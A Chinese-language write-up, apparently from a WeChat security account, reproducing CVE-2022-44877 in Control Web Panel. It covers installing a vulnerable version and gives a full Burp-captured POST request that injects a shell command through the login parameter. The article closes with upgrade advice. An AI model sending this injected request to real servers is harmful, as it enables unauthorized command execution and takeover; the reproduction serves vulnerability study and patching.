漏洞简介
Control Web Panel(CWP)是一个人工智能驱动的免费、专业Linux 服务器控制面板,常用于管理专用服务器和 VPS 等。在Control Web Panel 远程命令执行漏洞(CVE-2022-44877)中,攻击者可以在未授权的情况下构造特定请求触发远程命令执行,从而获取服务器的控制权限。
Centos Web Panel 7 – < 0.9.8.1147
本文复现该漏洞所使用的系统为centos 7系统
执行cd /usr/local/src命令进入到/usr/local/src目录
执行wget http://centos-webpanel.com/cwp-el7-latest,拉取安装脚本
目前官方安装脚本中默认安装的是最新的0.9.8.1149版本,该版本中已经对漏洞进行了修复
所以在拉取安装脚本后,需要将安装脚本中1149的相应位置修改为低于1147的版本才能进行漏洞复现,本文修改为1146
运行sh cwp-el7-latest命令,安装脚本会自动安装Control Web Panel
安装成功后会显示MySQL超级用户密码、CWP登录URL等信息
此时访问https://ip:2031/,输入服务器的账号密码即可登录进入控制台
可以看到当前的CWP版本为0.9.8.1146
目前国外安全研究员已经在github上公开了该漏洞的poc
链接为https://github.com/numanturle/CVE-2022-44877
首先退出登录
输入任意不正确的账号密码,使用burpsuite抓包
修改数据包如下,注:username必须为root,否则无法成功执行命令
POST /login/index.php?login=$(touch${IFS}/tmp/rceTest) HTTP/1.1
Host: ip:2031
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: https://ip:2031
Connection: close
Referer: https://ip:2031/login/index.php?login=userlogin
Cookie: cwpsrv-f53115a3f1840c3e155cf2187555f873=g3l0o4o056qmrbevd2o8ccdo6r
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
username=root&password=admin&commit=Login
可以看到成功在/tmp下创建了名为rceTest的文件
将Centos Web Panel 7升级到0.9.8.1147以上或最新版本
原文始发于微信公众号(第59号):CVE-2022-44877 Control Web Panel login 未授权远程命令执行漏洞复现